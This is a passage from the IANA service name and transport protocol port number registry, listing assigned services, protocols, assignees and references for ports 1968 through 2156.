lipsinc            1968        udp    LIPSinc
lipsinc1           1969        tcp    LIPSinc 1                    [Robert_Armington]                                    [Robert_Armington]
lipsinc1           1969        udp    LIPSinc 1                    [Robert_Armington]                                    [Robert_Armington]
netop-rc           1970        tcp    NetOp Remote Control
netop-rc           1970        udp    NetOp Remote Control
netop-school       1971        tcp    NetOp School                 [NetOp_Technical_Supp]                                [NetOp_Technical_Supp]
netop-school       1971        udp    NetOp School                 [NetOp_Technical_Supp]                                [NetOp_Technical_Supp]
intersys-cache     1972        tcp    Cache                        [Mark_Hanson]                                         [Mark_Hanson]
intersys-cache     1972        udp    Cache                        [Mark_Hanson]                                         [Mark_Hanson]
dlsrap             1973        tcp    Data Link Switching Remote   [Steve_T_Chiang]                                      [Steve_T_Chiang]
                                      Access Protocol
dlsrap             1973        udp    Data Link Switching Remote   [Steve_T_Chiang]                                      [Steve_T_Chiang]
                                      Access Protocol
drp                1974        tcp    DRP                          [Richard_Alan_Johnson]                                [Richard_Alan_Johnson]
drp                1974        udp    DRP                          [Richard_Alan_Johnson]                                [Richard_Alan_Johnson]
tcoflashagent      1975        tcp    TCO Flash Agent
tcoflashagent      1975        udp    TCO Flash Agent
tcoregagent        1976        tcp    TCO Reg Agent
tcoregagent        1976        udp    TCO Reg Agent
tcoaddressbook     1977        tcp    TCO Address Book             [Allan_Panitch]                                       [Allan_Panitch]
tcoaddressbook     1977        udp    TCO Address Book             [Allan_Panitch]                                       [Allan_Panitch]
unisql             1978        tcp    UniSQL
unisql             1978        udp    UniSQL
unisql-java        1979        tcp    UniSQL Java                  [Keith_Yarbrough]                                     [Keith_Yarbrough]
unisql-java        1979        udp    UniSQL Java                  [Keith_Yarbrough]                                     [Keith_Yarbrough]
pearldoc-xact      1980        tcp    PearlDoc XACT                [Chris_Vertonghen]                                    [Chris_Vertonghen]
pearldoc-xact      1980        udp    PearlDoc XACT                [Chris_Vertonghen]                                    [Chris_Vertonghen]
p2pq               1981        tcp    p2pQ                         [Warren_Alexander]                                    [Warren_Alexander]
p2pq               1981        udp    p2pQ                         [Warren_Alexander]                                    [Warren_Alexander]
estamp             1982        tcp    Evidentiary Timestamp        [Todd_Glassey]                                        [Todd_Glassey]
estamp             1982        udp    Evidentiary Timestamp        [Todd_Glassey]                                        [Todd_Glassey]
lhtp               1983        tcp    Loophole Test Protocol       [Kade_Hansson]                                        [Kade_Hansson]
lhtp               1983        udp    Loophole Test Protocol       [Kade_Hansson]                                        [Kade_Hansson]
bb                 1984        tcp    BB                           [Sean_MacGuire]                                       [Sean_MacGuire]
bb                 1984        udp    BB                           [Sean_MacGuire]                                       [Sean_MacGuire]
hsrp               1985        tcp    Hot Standby Router Protocol                                                                                                                                            [RFC2281]
hsrp               1985        udp    Hot Standby Router Protocol                                                                                                                                            [RFC2281]
licensedaemon      1986        tcp    cisco license management
licensedaemon      1986        udp    cisco license management
tr-rsrb-p1         1987        tcp    cisco RSRB Priority 1 port
tr-rsrb-p1         1987        udp    cisco RSRB Priority 1 port
tr-rsrb-p2         1988        tcp    cisco RSRB Priority 2 port
tr-rsrb-p2         1988        udp    cisco RSRB Priority 2 port
tr-rsrb-p3         1989        tcp    cisco RSRB Priority 3 port
tr-rsrb-p3         1989        udp    cisco RSRB Priority 3 port
mshnet             1989        tcp    MHSnet system                [Bob_Kummerfeld]                                      [Bob_Kummerfeld]                                                                                                                                         This entry records an unassigned but widespread use
mshnet             1989        udp    MHSnet system                [Bob_Kummerfeld]                                      [Bob_Kummerfeld]                                                                                                                                         This entry records an unassigned but widespread use
stun-p1            1990        tcp    cisco STUN Priority 1 port
stun-p1            1990        udp    cisco STUN Priority 1 port
stun-p2            1991        tcp    cisco STUN Priority 2 port
stun-p2            1991        udp    cisco STUN Priority 2 port
stun-p3            1992        tcp    cisco STUN Priority 3 port
stun-p3            1992        udp    cisco STUN Priority 3 port
ipsendmsg          1992        tcp    IPsendmsg                    [Bob_Kummerfeld]                                      [Bob_Kummerfeld]                                                                                                                                         This entry records an unassigned but widespread use
ipsendmsg          1992        udp    IPsendmsg                    [Bob_Kummerfeld]                                      [Bob_Kummerfeld]                                                                                                                                         This entry records an unassigned but widespread use
snmp-tcp-port      1993        tcp    cisco SNMP TCP port
snmp-tcp-port      1993        udp    cisco SNMP TCP port
stun-port          1994        tcp    cisco serial tunnel port
stun-port          1994        udp    cisco serial tunnel port
perf-port          1995        tcp    cisco perf port
perf-port          1995        udp    cisco perf port
tr-rsrb-port       1996        tcp    cisco Remote SRB port
tr-rsrb-port       1996        udp    cisco Remote SRB port
gdp-port           1997        tcp    cisco Gateway Discovery
                                      Protocol
gdp-port           1997        udp    cisco Gateway Discovery
                                      Protocol
x25-svc-port       1998        tcp    cisco X.25 service (XOT)
x25-svc-port       1998        udp    cisco X.25 service (XOT)
tcp-id-port        1999        tcp    cisco identification port
tcp-id-port        1999        udp    cisco identification port
cisco-sccp         2000        tcp    Cisco SCCP                   [Dan_Wing]                                            [Dan_Wing]                                                2003-11
cisco-sccp         2000        udp    Cisco SCCp                   [Dan_Wing]                                            [Dan_Wing]                                                2003-11
dc                 2001        tcp
wizard             2001        udp    curry
globe              2002        tcp
globe              2002        udp
brutus             2003        tcp    Brutus Server                [Johannes_Skov_Frands]                                [Johannes_Skov_Frands]                                    2008-02-28
brutus             2003        udp    Brutus Server                [Johannes_Skov_Frands]                                [Johannes_Skov_Frands]                                    2008-02-28
mailbox            2004        tcp
emce               2004        udp    CCWS mm conf
berknet            2005        tcp
oracle             2005        udp
invokator          2006        tcp
raid-cd            2006        udp    raid
dectalk            2007        tcp
raid-am            2007        udp
conf               2008        tcp
terminaldb         2008        udp
news               2009        tcp
whosockami         2009        udp
search             2010        tcp
                                      IANA assigned this
pipe-server        2010        udp    well-formed service name as
                                      a replacement for
                                      "pipe_server".
                                                                                                                                                                                                                                                                                  This entry is an alias to "pipe-server". This entry is now
pipe_server        2010        udp                                                                                                                                                                                                                                                historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
raid-cc            2011        tcp    raid
servserv           2011        udp
ttyinfo            2012        tcp
raid-ac            2012        udp
raid-am            2013        tcp
raid-cd            2013        udp
troff              2014        tcp
raid-sf            2014        udp
cypress            2015        tcp
raid-cs            2015        udp
bootserver         2016        tcp
bootserver         2016        udp
cypress-stat       2017        tcp
bootclient         2017        udp
terminaldb         2018        tcp
rellpack           2018        udp
whosockami         2019        tcp
about              2019        udp
xinupageserver     2020        tcp
xinupageserver     2020        udp
servexec           2021        tcp
xinuexpansion1     2021        udp
down               2022        tcp
xinuexpansion2     2022        udp
xinuexpansion3     2023        tcp
xinuexpansion3     2023        udp
xinuexpansion4     2024        tcp
xinuexpansion4     2024        udp
ellpack            2025        tcp
xribs              2025        udp
scrabble           2026        tcp
scrabble           2026        udp
shadowserver       2027        tcp
shadowserver       2027        udp
submitserver       2028        tcp
submitserver       2028        udp
hsrpv6             2029        tcp    Hot Standby Router Protocol  [Ian_Wilson]                                          [Ian_Wilson]                                              2004-11
                                      IPv6
hsrpv6             2029        udp    Hot Standby Router Protocol  [Ian_Wilson]                                          [Ian_Wilson]                                              2004-11
                                      IPv6
device2            2030        tcp
device2            2030        udp
mobrien-chat       2031        tcp    mobrien-chat                 [Mike_O_Brien]                                        [Mike_O_Brien]                                            2004-11
mobrien-chat       2031        udp    mobrien-chat                 [Mike_O_Brien]                                        [Mike_O_Brien]                                            2004-11
blackboard         2032        tcp
blackboard         2032        udp
glogger            2033        tcp
glogger            2033        udp
scoremgr           2034        tcp
scoremgr           2034        udp
imsldoc            2035        tcp
imsldoc            2035        udp
e-dpnet            2036        tcp    Ethernet WS DP network       [Peter_Kaever]                                        [Peter_Kaever]                                            2005-08
e-dpnet            2036        udp    Ethernet WS DP network       [Peter_Kaever]                                        [Peter_Kaever]                                            2005-08
applus             2037        tcp    APplus Application Server    [Thomas_Boerkel]                                      [Thomas_Boerkel]                                          2008-06-06                                                                                     Formerly was P2plus Application Server
applus             2037        udp    APplus Application Server    [Thomas_Boerkel]                                      [Thomas_Boerkel]                                          2008-06-06                                                                                     Formerly was P2plus Application Server
objectmanager      2038        tcp
objectmanager      2038        udp
prizma             2039        tcp    Prizma Monitoring Service    [Dotan_Ofek]                                          [Dotan_Ofek]                                              2005-12
prizma             2039        udp    Prizma Monitoring Service    [Dotan_Ofek]                                          [Dotan_Ofek]                                              2005-12
lam                2040        tcp
lam                2040        udp
interbase          2041        tcp
interbase          2041        udp
isis               2042        tcp    isis
isis               2042        udp    isis
isis-bcast         2043        tcp    isis-bcast                   [Ken_Chapman]                                         [Ken_Chapman]
isis-bcast         2043        udp    isis-bcast                   [Ken_Chapman]                                         [Ken_Chapman]
rimsl              2044        tcp
rimsl              2044        udp
cdfunc             2045        tcp
cdfunc             2045        udp
sdfunc             2046        tcp
sdfunc             2046        udp
dls                2047        tcp
dls                2047        udp
dls-monitor        2048        tcp
dls-monitor        2048        udp
shilp              2049        tcp                                                                                                                                                                                                                                                <== NOTE Conflict on 2049 !
shilp              2049        udp                                                                                                                                                                                                                                                <== NOTE Conflict on 2049 !
nfs                2049        tcp    Network File System - Sun    [Brent_Callaghan]                                     [Brent_Callaghan]                                                                                                                                        Defined TXT keys: path=<path to mount point>
                                      Microsystems
nfs                2049        udp    Network File System - Sun    [Brent_Callaghan]                                     [Brent_Callaghan]                                                                                                                                        Defined TXT keys: path=<path to mount point>
                                      Microsystems
nfs                2049       sctp    Network File System                                                                                                                                                    [RFC5665]                                                            Defined TXT keys: path=<path to mount point>
av-emb-config      2050        tcp    Avaya EMB Config Port        [John_Yeager]                                         [John_Yeager]
av-emb-config      2050        udp    Avaya EMB Config Port        [John_Yeager]                                         [John_Yeager]
epnsdp             2051        tcp    EPNSDP                       [Hiroyasu_Ogata]                                      [Hiroyasu_Ogata]
epnsdp             2051        udp    EPNSDP                       [Hiroyasu_Ogata]                                      [Hiroyasu_Ogata]
clearvisn          2052        tcp    clearVisn Services Port      [Dave_Lyons]                                          [Dave_Lyons]
clearvisn          2052        udp    clearVisn Services Port      [Dave_Lyons]                                          [Dave_Lyons]
lot105-ds-upd      2053        tcp    Lot105 DSuper Updates        [Piers_Scannell]                                      [Piers_Scannell]
lot105-ds-upd      2053        udp    Lot105 DSuper Updates        [Piers_Scannell]                                      [Piers_Scannell]
weblogin           2054        tcp    Weblogin Port                [Diego_Saravia]                                       [Diego_Saravia]
weblogin           2054        udp    Weblogin Port                [Diego_Saravia]                                       [Diego_Saravia]
iop                2055        tcp    Iliad-Odyssey Protocol       [Bruce_Lueckenhoff]                                   [Bruce_Lueckenhoff]
iop                2055        udp    Iliad-Odyssey Protocol       [Bruce_Lueckenhoff]                                   [Bruce_Lueckenhoff]
omnisky            2056        tcp    OmniSky Port                 [Oren_Hurvitz]                                        [Oren_Hurvitz]
omnisky            2056        udp    OmniSky Port                 [Oren_Hurvitz]                                        [Oren_Hurvitz]
rich-cp            2057        tcp    Rich Content Protocol        [Ronen_Vainish]                                       [Ronen_Vainish]
rich-cp            2057        udp    Rich Content Protocol        [Ronen_Vainish]                                       [Ronen_Vainish]
newwavesearch      2058        tcp    NewWaveSearchables RMI       [Thomas_Kerkau]                                       [Thomas_Kerkau]
newwavesearch      2058        udp    NewWaveSearchables RMI       [Thomas_Kerkau]                                       [Thomas_Kerkau]
bmc-messaging      2059        tcp    BMC Messaging Service        [Portnoy_Boxman]                                      [Portnoy_Boxman]
bmc-messaging      2059        udp    BMC Messaging Service        [Portnoy_Boxman]                                      [Portnoy_Boxman]
teleniumdaemon     2060        tcp    Telenium Daemon IF           [Nick_Woronuk]                                        [Nick_Woronuk]
teleniumdaemon     2060        udp    Telenium Daemon IF           [Nick_Woronuk]                                        [Nick_Woronuk]
netmount           2061        tcp    NetMount                     [Alex_Oberlander]                                     [Alex_Oberlander]
netmount           2061        udp    NetMount                     [Alex_Oberlander]                                     [Alex_Oberlander]
icg-swp            2062        tcp    ICG SWP Port
icg-swp            2062        udp    ICG SWP Port
icg-bridge         2063        tcp    ICG Bridge Port
icg-bridge         2063        udp    ICG Bridge Port
icg-iprelay        2064        tcp    ICG IP Relay Port            [Steve_Quintana]                                      [Steve_Quintana]
icg-iprelay        2064        udp    ICG IP Relay Port            [Steve_Quintana]                                      [Steve_Quintana]
dlsrpn             2065        tcp    Data Link Switch Read Port   [Amir_Peless]                                         [Amir_Peless]
                                      Number
dlsrpn             2065        udp    Data Link Switch Read Port   [Amir_Peless]                                         [Amir_Peless]
                                      Number
aura               2066        tcp    AVM USB Remote Architecture  [Diego_Friedel]                                       [Diego_Friedel]                                           2006-03
aura               2066        udp    AVM USB Remote Architecture  [Diego_Friedel]                                       [Diego_Friedel]                                           2006-03
dlswpn             2067        tcp    Data Link Switch Write Port  [Amir_Peless]                                         [Amir_Peless]
                                      Number
dlswpn             2067        udp    Data Link Switch Write Port  [Amir_Peless]                                         [Amir_Peless]
                                      Number
avauthsrvprtcl     2068        tcp    Avocent AuthSrv Protocol     [Steven_W_Clark_2]                                    [Steven_W_Clark_2]
avauthsrvprtcl     2068        udp    Avocent AuthSrv Protocol     [Steven_W_Clark_2]                                    [Steven_W_Clark_2]
event-port         2069        tcp    HTTP Event Port              [Larry_Emlich]                                        [Larry_Emlich]
event-port         2069        udp    HTTP Event Port              [Larry_Emlich]                                        [Larry_Emlich]
ah-esp-encap       2070        tcp    AH and ESP Encapsulated in   [Amy_Weaver]                                          [Amy_Weaver]
                                      UDP packet
ah-esp-encap       2070        udp    AH and ESP Encapsulated in   [Amy_Weaver]                                          [Amy_Weaver]
                                      UDP packet
acp-port           2071        tcp    Axon Control Protocol        [Christiaan_Simons]                                   [Christiaan_Simons]
acp-port           2071        udp    Axon Control Protocol        [Christiaan_Simons]                                   [Christiaan_Simons]
msync              2072        tcp    GlobeCast mSync              [Piers_Scannell_2]                                    [Piers_Scannell_2]
msync              2072        udp    GlobeCast mSync              [Piers_Scannell_2]                                    [Piers_Scannell_2]
gxs-data-port      2073        tcp    DataReel Database Socket     [Douglas_M_Gaer]                                      [Douglas_M_Gaer]
gxs-data-port      2073        udp    DataReel Database Socket     [Douglas_M_Gaer]                                      [Douglas_M_Gaer]
vrtl-vmf-sa        2074        tcp    Vertel VMF SA                [Alan_Akahoshi]                                       [Alan_Akahoshi]
vrtl-vmf-sa        2074        udp    Vertel VMF SA                [Alan_Akahoshi]                                       [Alan_Akahoshi]
newlixengine       2075        tcp    Newlix ServerWare Engine
newlixengine       2075        udp    Newlix ServerWare Engine
newlixconfig       2076        tcp    Newlix JSPConfig             [Jean_Serge_Gagnon]                                   [Jean_Serge_Gagnon]
newlixconfig       2076        udp    Newlix JSPConfig             [Jean_Serge_Gagnon]                                   [Jean_Serge_Gagnon]
tsrmagt            2077        tcp    Old Tivoli Storage Manager
tsrmagt            2077        udp    Old Tivoli Storage Manager
tpcsrvr            2078        tcp    IBM Total Productivity       [Justin_R_Bendich]                                    [Justin_R_Bendich]
                                      Center Server
tpcsrvr            2078        udp    IBM Total Productivity       [Justin_R_Bendich]                                    [Justin_R_Bendich]
                                      Center Server
idware-router      2079        tcp    IDWARE Router Port           [Zdenek_Kolba]                                        [Zdenek_Kolba]
idware-router      2079        udp    IDWARE Router Port           [Zdenek_Kolba]                                        [Zdenek_Kolba]
autodesk-nlm       2080        tcp    Autodesk NLM (FLEXlm)        [Greg_Suppes]                                         [Greg_Suppes]
autodesk-nlm       2080        udp    Autodesk NLM (FLEXlm)        [Greg_Suppes]                                         [Greg_Suppes]
kme-trap-port      2081        tcp    KME PRINTER TRAP PORT        [Masakatsu_Matsuo]                                    [Masakatsu_Matsuo]
kme-trap-port      2081        udp    KME PRINTER TRAP PORT        [Masakatsu_Matsuo]                                    [Masakatsu_Matsuo]
infowave           2082        tcp    Infowave Mobility Server     [Kaz_Kylheku]                                         [Kaz_Kylheku]
infowave           2082        udp    Infowave Mobility Server     [Kaz_Kylheku]                                         [Kaz_Kylheku]
                                                                                                                                                                                                                                                                                  The TCP port 2083 was already previously assigned by IANA for
                                                                                                                                                                                                                                                                                  "RadSec", an early implementation of RADIUS/TLS, prior to
radsec             2083        tcp    Secure Radius Service        [IESG]                                                [IETF_Chair]                                              2005-05                   [RFC6614]                                                            issuance of this RFC. This early implementation can be
                                                                                                                                                                                                                                                                                  configured to be compatible to RADIUS/TLS as specified by the
                                                                                                                                                                                                                                                                                  IETF. See [RFC6614], Appendix A for details.
                                                                                                                                                                                                                                                                                  The UDP port 2083 was already previously assigned by IANA for
radsec             2083        udp    Secure Radius Service        [IESG]                                                [IETF_Chair]                                              2005-05      2014-07-14   [RFC7360]                                                            "RadSec", an early implementation of RADIUS/TLS, prior to
                                                                                                                                                                                                                                                                                  issuance of this RFC.
sunclustergeo      2084        tcp    SunCluster Geographic        [Oracle_2]                                            [Steve_McKinty]                                           2005-11      2013-08-14
sunclustergeo      2084        udp    SunCluster Geographic        [Oracle_2]                                            [Steve_McKinty]                                           2005-11      2013-08-14
ada-cip            2085        tcp    ADA Control                  [Eugene_Frenkel]                                      [Eugene_Frenkel]                                          2005-11
ada-cip            2085        udp    ADA Control                  [Eugene_Frenkel]                                      [Eugene_Frenkel]                                          2005-11
gnunet             2086        tcp    GNUnet                       [Christian_Grothoff]                                  [Christian_Grothoff]                                      2002-10
gnunet             2086        udp    GNUnet                       [Christian_Grothoff]                                  [Christian_Grothoff]                                      2002-10
eli                2087        tcp    ELI - Event Logging          [Maya_Zimerman]                                       [Maya_Zimerman]
                                      Integration
eli                2087        udp    ELI - Event Logging          [Maya_Zimerman]                                       [Maya_Zimerman]
                                      Integration
ip-blf             2088        tcp    IP Busy Lamp Field           [Jeffrey_Szczepanski]                                 [Jeffrey_Szczepanski]                                     2005-02
ip-blf             2088        udp    IP Busy Lamp Field           [Jeffrey_Szczepanski]                                 [Jeffrey_Szczepanski]                                     2005-02
sep                2089        tcp    Security Encapsulation       [Maya_Zimerman]                                       [Maya_Zimerman]
                                      Protocol - SEP
sep                2089        udp    Security Encapsulation       [Maya_Zimerman]                                       [Maya_Zimerman]
                                      Protocol - SEP
lrp                2090        tcp    Load Report Protocol         [Amir_Peless]                                         [Amir_Peless]
lrp                2090        udp    Load Report Protocol         [Amir_Peless]                                         [Amir_Peless]
prp                2091        tcp    PRP                          [Amir_Peless]                                         [Amir_Peless]
prp                2091        udp    PRP                          [Amir_Peless]                                         [Amir_Peless]
descent3           2092        tcp    Descent 3                    [Kevin_Bentley]                                       [Kevin_Bentley]
descent3           2092        udp    Descent 3                    [Kevin_Bentley]                                       [Kevin_Bentley]
nbx-cc             2093        tcp    NBX CC
nbx-cc             2093        udp    NBX CC
nbx-au             2094        tcp    NBX AU
nbx-au             2094        udp    NBX AU
nbx-ser            2095        tcp    NBX SER
nbx-ser            2095        udp    NBX SER
nbx-dir            2096        tcp    NBX DIR                      [Henry_Houh]                                          [Henry_Houh]
nbx-dir            2096        udp    NBX DIR                      [Henry_Houh]                                          [Henry_Houh]
jetformpreview     2097        tcp    Jet Form Preview             [Zygmunt_Wiercioch]                                   [Zygmunt_Wiercioch]
jetformpreview     2097        udp    Jet Form Preview             [Zygmunt_Wiercioch]                                   [Zygmunt_Wiercioch]
dialog-port        2098        tcp    Dialog Port                  [Joseph_Mathew]                                       [Joseph_Mathew]
dialog-port        2098        udp    Dialog Port                  [Joseph_Mathew]                                       [Joseph_Mathew]
h2250-annex-g      2099        tcp    H.225.0 Annex G Signalling   [ITU-T]                                               [ITU-T_TSB]                                                            2013-01-31
h2250-annex-g      2099        udp    H.225.0 Annex G Signalling   [ITU-T]                                               [ITU-T_TSB]                                                            2013-01-31
amiganetfs         2100        tcp    Amiga Network Filesystem     [Rudi_Chiarito]                                       [Rudi_Chiarito]
amiganetfs         2100        udp    Amiga Network Filesystem     [Rudi_Chiarito]                                       [Rudi_Chiarito]
rtcm-sc104         2101        tcp    rtcm-sc104                   [Wolfgang_Rupprecht]                                  [Wolfgang_Rupprecht]
rtcm-sc104         2101        udp    rtcm-sc104                   [Wolfgang_Rupprecht]                                  [Wolfgang_Rupprecht]
zephyr-srv         2102        tcp    Zephyr server
zephyr-srv         2102        udp    Zephyr server
zephyr-clt         2103        tcp    Zephyr serv-hm connection
zephyr-clt         2103        udp    Zephyr serv-hm connection
zephyr-hm          2104        tcp    Zephyr hostmanager           [Greg_Hudson]                                         [Greg_Hudson]
zephyr-hm          2104        udp    Zephyr hostmanager           [Greg_Hudson]                                         [Greg_Hudson]
minipay            2105        tcp    MiniPay                      [Amir_Herzberg]                                       [Amir_Herzberg]
minipay            2105        udp    MiniPay                      [Amir_Herzberg]                                       [Amir_Herzberg]
mzap               2106        tcp    MZAP                         [Dave_Thaler_2]                                       [Dave_Thaler_2]
mzap               2106        udp    MZAP                         [Dave_Thaler_2]                                       [Dave_Thaler_2]
bintec-admin       2107        tcp    BinTec Admin                 [Thomas_Schmidt]                                      [Thomas_Schmidt]
bintec-admin       2107        udp    BinTec Admin                 [Thomas_Schmidt]                                      [Thomas_Schmidt]
comcam             2108        tcp    Comcam                       [Don_Gilbreath]                                       [Don_Gilbreath]
comcam             2108        udp    Comcam                       [Don_Gilbreath]                                       [Don_Gilbreath]
ergolight          2109        tcp    Ergolight                    [Jindra_Ryvola]                                       [Jindra_Ryvola]
ergolight          2109        udp    Ergolight                    [Jindra_Ryvola]                                       [Jindra_Ryvola]
umsp               2110        tcp    UMSP                         [Alexander_Bogdanov_2]                                [Alexander_Bogdanov_2]
umsp               2110        udp    UMSP                         [Alexander_Bogdanov_2]                                [Alexander_Bogdanov_2]
dsatp              2111        tcp    OPNET Dynamic Sampling Agent [OPNET_Technologies_Inc]                              [Edward_Macomber]                                                      2011-09-21
                                      Transaction Protocol
dsatp              2111        udp    OPNET Dynamic Sampling Agent [OPNET_Technologies_Inc]                              [Edward_Macomber]                                                      2011-09-21
                                      Transaction Protocol
idonix-metanet     2112        tcp    Idonix MetaNet               [Paul_Harrison]                                       [Paul_Harrison]
idonix-metanet     2112        udp    Idonix MetaNet               [Paul_Harrison]                                       [Paul_Harrison]
hsl-storm          2113        tcp    HSL StoRM                    [Jost_Faganel]                                        [Jost_Faganel]
hsl-storm          2113        udp    HSL StoRM                    [Jost_Faganel]                                        [Jost_Faganel]
ariascribe         2114        tcp    Classical Music Meta-Data    [Aria_Scribe_Software_Ltd]                            [Michael_Levy]                                                         2018-02-05
                                      Access and Enhancement
ariascribe         2114        udp    Classical Music Meta-Data    [Aria_Scribe_Software_Ltd]                            [Michael_Levy]                                                         2018-02-05
                                      Access and Enhancement
kdm                2115        tcp    Key Distribution Manager     [Mike_Little]                                         [Mike_Little]
kdm                2115        udp    Key Distribution Manager     [Mike_Little]                                         [Mike_Little]
ccowcmr            2116        tcp    CCOWCMR                      [Mark_Morwood]                                        [Mark_Morwood]
ccowcmr            2116        udp    CCOWCMR                      [Mark_Morwood]                                        [Mark_Morwood]
mentaclient        2117        tcp    MENTACLIENT
mentaclient        2117        udp    MENTACLIENT
mentaserver        2118        tcp    MENTASERVER                  [Ilan_Shlosberg]                                      [Ilan_Shlosberg]
mentaserver        2118        udp    MENTASERVER                  [Ilan_Shlosberg]                                      [Ilan_Shlosberg]
gsigatekeeper      2119        tcp    GSIGATEKEEPER                [Steve_Tuecke]                                        [Steve_Tuecke]
gsigatekeeper      2119        udp    GSIGATEKEEPER                [Steve_Tuecke]                                        [Steve_Tuecke]
qencp              2120        tcp    Quick Eagle Networks CP      [Santa_Dasu]                                          [Santa_Dasu]
qencp              2120        udp    Quick Eagle Networks CP      [Santa_Dasu]                                          [Santa_Dasu]
scientia-ssdb      2121        tcp    SCIENTIA-SSDB                [SYSTEMS_MANAGER]                                     [SYSTEMS_MANAGER]
scientia-ssdb      2121        udp    SCIENTIA-SSDB                [SYSTEMS_MANAGER]                                     [SYSTEMS_MANAGER]
caupc-remote       2122        tcp    CauPC Remote Control         [Environics_Oy]                                       [Environics_Oy]
caupc-remote       2122        udp    CauPC Remote Control         [Environics_Oy]                                       [Environics_Oy]
gtp-control        2123        tcp    GTP-Control Plane (3GPP)     [Alessio_Casati]                                      [Alessio_Casati]
gtp-control        2123        udp    GTP-Control Plane (3GPP)     [Alessio_Casati]                                      [Alessio_Casati]
elatelink          2124        tcp    ELATELINK                    [Tim_Lawrence]                                        [Tim_Lawrence]
elatelink          2124        udp    ELATELINK                    [Tim_Lawrence]                                        [Tim_Lawrence]
lockstep           2125        tcp    LOCKSTEP                     [Karl_Forster]                                        [Karl_Forster]
lockstep           2125        udp    LOCKSTEP                     [Karl_Forster]                                        [Karl_Forster]
pktcable-cops      2126        tcp    PktCable-COPS                [Glenn_Russell]                                       [Glenn_Russell]
pktcable-cops      2126        udp    PktCable-COPS                [Glenn_Russell]                                       [Glenn_Russell]
index-pc-wb        2127        tcp    INDEX-PC-WB                  [James_David_Fisher]                                  [James_David_Fisher]
index-pc-wb        2127        udp    INDEX-PC-WB                  [James_David_Fisher]                                  [James_David_Fisher]
net-steward        2128        tcp    Net Steward Control          [Martin_Norman]                                       [Martin_Norman]
net-steward        2128        udp    Net Steward Control          [Martin_Norman]                                       [Martin_Norman]
cs-live            2129        tcp    cs-live.com                  [Matt_Lachance]                                       [Matt_Lachance]
cs-live            2129        udp    cs-live.com                  [Matt_Lachance]                                       [Matt_Lachance]
xds                2130        tcp    XDS                          [Peter_Zurich]                                        [Peter_Zurich]
xds                2130        udp    XDS                          [Peter_Zurich]                                        [Peter_Zurich]
avantageb2b        2131        tcp    Avantageb2b                  [Avi_Software]                                        [Avi_Software]
avantageb2b        2131        udp    Avantageb2b                  [Avi_Software]                                        [Avi_Software]
solera-epmap       2132        tcp    SoleraTec End Point Map      [Mark_Armstrong]                                      [Mark_Armstrong]
solera-epmap       2132        udp    SoleraTec End Point Map      [Mark_Armstrong]                                      [Mark_Armstrong]
zymed-zpp          2133        tcp    ZYMED-ZPP                    [Gregg_Welker]                                        [Gregg_Welker]
zymed-zpp          2133        udp    ZYMED-ZPP                    [Gregg_Welker]                                        [Gregg_Welker]
avenue             2134        tcp    AVENUE                       [Jason_Cater]                                         [Jason_Cater]
avenue             2134        udp    AVENUE                       [Jason_Cater]                                         [Jason_Cater]
gris               2135        tcp    Grid Resource Information    [Steve_Tuecke]                                        [Steve_Tuecke]
                                      Server
gris               2135        udp    Grid Resource Information    [Steve_Tuecke]                                        [Steve_Tuecke]
                                      Server
appworxsrv         2136        tcp    APPWORXSRV                   [Fred_McLain]                                         [Fred_McLain]
appworxsrv         2136        udp    APPWORXSRV                   [Fred_McLain]                                         [Fred_McLain]
connect            2137        tcp    CONNECT                      [Reid_Ligon]                                          [Reid_Ligon]
connect            2137        udp    CONNECT                      [Reid_Ligon]                                          [Reid_Ligon]
unbind-cluster     2138        tcp    UNBIND-CLUSTER               [Francois_Harvey]                                     [Francois_Harvey]
unbind-cluster     2138        udp    UNBIND-CLUSTER               [Francois_Harvey]                                     [Francois_Harvey]
ias-auth           2139        tcp    IAS-AUTH
ias-auth           2139        udp    IAS-AUTH
ias-reg            2140        tcp    IAS-REG
ias-reg            2140        udp    IAS-REG
ias-admind         2141        tcp    IAS-ADMIND                   [Baiju_V_Patel]                                       [Baiju_V_Patel]
ias-admind         2141        udp    IAS-ADMIND                   [Baiju_V_Patel]                                       [Baiju_V_Patel]
tdmoip             2142        tcp    TDM OVER IP                  [Yaakov_Stein]                                        [Yaakov_Stein]                                                         2016-09-21   [RFC5087]
tdmoip             2142        udp    TDM OVER IP                  [Yaakov_Stein]                                        [Yaakov_Stein]                                                         2016-09-21   [RFC5087]
lv-jc              2143        tcp    Live Vault Job Control
lv-jc              2143        udp    Live Vault Job Control
lv-ffx             2144        tcp    Live Vault Fast Object
                                      Transfer
lv-ffx             2144        udp    Live Vault Fast Object
                                      Transfer
lv-pici            2145        tcp    Live Vault Remote Diagnostic
                                      Console Support
lv-pici            2145        udp    Live Vault Remote Diagnostic
                                      Console Support
lv-not             2146        tcp    Live Vault Admin Event
                                      Notification
lv-not             2146        udp    Live Vault Admin Event
                                      Notification
lv-auth            2147        tcp    Live Vault Authentication    [Ted_Hess]                                            [Ted_Hess]
lv-auth            2147        udp    Live Vault Authentication    [Ted_Hess]                                            [Ted_Hess]
veritas-ucl        2148        tcp    VERITAS UNIVERSAL            [Songlin_Ren]                                         [Songlin_Ren]
                                      COMMUNICATION LAYER
veritas-ucl        2148        udp    VERITAS UNIVERSAL            [Songlin_Ren]                                         [Songlin_Ren]
                                      COMMUNICATION LAYER
acptsys            2149        tcp    ACPTSYS                      [Michael_Lekias]                                      [Michael_Lekias]
acptsys            2149        udp    ACPTSYS                      [Michael_Lekias]                                      [Michael_Lekias]
dynamic3d          2150        tcp    DYNAMIC3D                    [Tobias_Wegner]                                       [Tobias_Wegner]
dynamic3d          2150        udp    DYNAMIC3D                    [Tobias_Wegner]                                       [Tobias_Wegner]
docent             2151        tcp    DOCENT                       [Hali_Lindbloom]                                      [Hali_Lindbloom]
docent             2151        udp    DOCENT                       [Hali_Lindbloom]                                      [Hali_Lindbloom]
gtp-user           2152        tcp    GTP-User Plane (3GPP)        [Alessio_Casati]                                      [Alessio_Casati]
gtp-user           2152        udp    GTP-User Plane (3GPP)        [Alessio_Casati]                                      [Alessio_Casati]
ctlptc             2153        tcp    Control Protocol
ctlptc             2153        udp    Control Protocol
stdptc             2154        tcp    Standard Protocol
stdptc             2154        udp    Standard Protocol
brdptc             2155        tcp    Bridge Protocol              [Hideki_Hatta]                                        [Hideki_Hatta]                                            2007-09-27
brdptc             2155        udp    Bridge Protocol              [Hideki_Hatta]                                        [Hideki_Hatta]                                            2007-09-27
trp                2156        tcp    Talari Reliable Protocol     [John_E_Dickey]                                       [John_E_Dickey]                                           2007-09-27
